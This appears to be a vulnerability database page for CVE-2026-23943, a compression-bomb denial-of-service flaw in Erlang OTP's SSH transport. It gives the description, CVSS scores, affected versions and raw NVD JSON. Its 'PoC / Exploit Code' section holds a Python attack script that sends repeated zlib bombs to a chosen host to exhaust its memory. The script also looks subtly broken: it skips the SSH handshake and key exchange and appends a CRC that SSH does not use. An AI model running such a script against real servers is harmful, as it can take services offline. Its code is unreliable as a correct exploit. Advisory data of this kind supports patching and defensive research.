Security Vulnerability Report
中文
CVE-2026-23943 CVSS 5.3 MEDIUM

CVE-2026-23943

Published: 2026-03-13 19:54:16
Last Modified: 2026-05-21 15:22:36
Source: 6b3ad84c-e1a6-4bf7-a703-f496b71e49db

Description

Improper Handling of Highly Compressed Data (Compression Bomb) vulnerability in Erlang OTP ssh (ssh_transport modules) allows Denial of Service via Resource Depletion. The SSH transport layer advertises legacy zlib compression by default and inflates attacker-controlled payloads pre-authentication without any size limit, enabling reliable memory exhaustion DoS. Two compression algorithms are affected: * zlib: Activates immediately after key exchange, enabling unauthenticated attacks * [email protected]: Activates post-authentication, enabling authenticated attacks Each SSH packet can decompress ~255 MB from 256 KB of wire data (1029:1 amplification ratio). Multiple packets can rapidly exhaust available memory, causing OOM kills in memory-constrained environments. This vulnerability is associated with program files lib/ssh/src/ssh_transport.erl and program routines ssh_transport:decompress/2, ssh_transport:handle_packet_part/4. This issue affects OTP from OTP 17.0 until OTP 28.4.1, 27.3.4.9 and 26.2.5.18 corresponding to ssh from 3.0.1 until 5.5.1, 5.2.11.6 and 5.1.4.14.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/otp:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/ssh:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:erlang:erlang\/ssh:*:*:*:*:*:*:*:* - VULNERABLE
Erlang OTP < 26.2.5.18
Erlang OTP 27.x < 27.3.4.9
Erlang OTP 28.x < 28.4.1
Erlang ssh < 5.1.4.14
Erlang ssh 5.2.x < 5.2.11.6
Erlang ssh 5.5.x < 5.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct import zlib def create_compression_bomb_payload(): """ Create a compression bomb payload for SSH This generates highly compressed data that expands to ~255MB """ # Create target size data (255MB) target_data = b'A' * (255 * 1024 * 1024) # Compress the data compressed = zlib.compress(target_data, 9) print(f"Original size: {len(target_data)} bytes") print(f"Compressed size: {len(compressed)} bytes") print(f"Compression ratio: {len(target_data) / len(compressed):.1f}:1") return compressed def send_ssh_compressed_packet(sock, payload): """ Send a SSH packet with compressed payload """ # SSH packet format: length(4) + padding_length(1) + payload + padding padding_length = 8 payload_length = len(payload) total_length = 1 + payload_length + padding_length # Construct packet packet = struct.pack('>I', total_length) packet += struct.pack('B', padding_length) packet += payload packet += b'\x00' * padding_length # Calculate CRC crc = zlib.crc32(packet) & 0xffffffff sock.send(struct.pack('>I', total_length + 4)) sock.send(packet) sock.send(struct.pack('>I', crc)) def exploit_cve_2026_23943(target_host, target_port=22): """ Exploit CVE-2026-23943: SSH Compression Bomb DoS """ payload = create_compression_bomb_payload() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) print(f"Connected to {target_host}:{target_port}") # Send multiple compressed packets to exhaust memory for i in range(10): send_ssh_compressed_packet(sock, payload) print(f"Sent packet {i+1}") sock.close() print("Attack completed") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: exploit_cve_2026_23943(sys.argv[1]) else: print("Usage: python exploit.py <target_host>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23943", "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "published": "2026-03-13T19:54:15.783", "lastModified": "2026-05-21T15:22:36.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Handling of Highly Compressed Data (Compression Bomb) vulnerability in Erlang OTP ssh (ssh_transport modules) allows Denial of Service via Resource Depletion.\n\nThe SSH transport layer advertises legacy zlib compression by default and inflates attacker-controlled payloads pre-authentication without any size limit, enabling reliable memory exhaustion DoS.\n\nTwo compression algorithms are affected:\n\n* zlib: Activates immediately after key exchange, enabling unauthenticated attacks\n* [email protected]: Activates post-authentication, enabling authenticated attacks\n\nEach SSH packet can decompress ~255 MB from 256 KB of wire data (1029:1 amplification ratio). Multiple packets can rapidly exhaust available memory, causing OOM kills in memory-constrained environments.\n\nThis vulnerability is associated with program files lib/ssh/src/ssh_transport.erl and program routines ssh_transport:decompress/2, ssh_transport:handle_packet_part/4.\n\nThis issue affects OTP from OTP 17.0 until OTP 28.4.1, 27.3.4.9 and 26.2.5.18 corresponding to ssh from 3.0.1 until 5.5.1, 5.2.11.6 and 5.1.4.14."}, {"lang": "es", "value": "La vulnerabilidad de Manejo Inadecuado de Datos Altamente Comprimidos (Bomba de Compresión) en Erlang OTP ssh (módulos ssh_transport) permite la denegación de servicio mediante el agotamiento de recursos.\n\nLa capa de transporte SSH anuncia la compresión zlib heredada por defecto e infla cargas útiles controladas por el atacante pre-autenticación sin ningún límite de tamaño, lo que permite una DoS fiable por agotamiento de memoria.\n\nDos algoritmos de compresión se ven afectados:\n\n* zlib: Se activa inmediatamente después del intercambio de claves, lo que permite ataques no autenticados\n* [email protected]: Se activa post-autenticación, lo que permite ataques autenticados\n\nCada paquete SSH puede descomprimir ~255 MB de 256 KB de datos en la red (relación de amplificación de 1029:1). Múltiples paquetes pueden agotar rápidamente la memoria disponible, causando eliminaciones por OOM en entornos con memoria limitada.\n\nEsta vulnerabilidad está asociada con los archivos de programa lib/ssh/src/ssh_transport.erl y las rutinas de programa ssh_transport:decompress/2, ssh_transport:handle_packet_part/4.\n\nEste problema afecta a OTP desde OTP 17.0 hasta OTP 28.4.1, 27.3.4.9 y 26.2.5.18, lo que corresponde a ssh desde 3.0.1 hasta 5.5.1, 5.2.11.6 y 5.1.4.14."}], "metrics": {"cvssMetricV40": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-409"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:erlang:erlang\\ ... (truncated)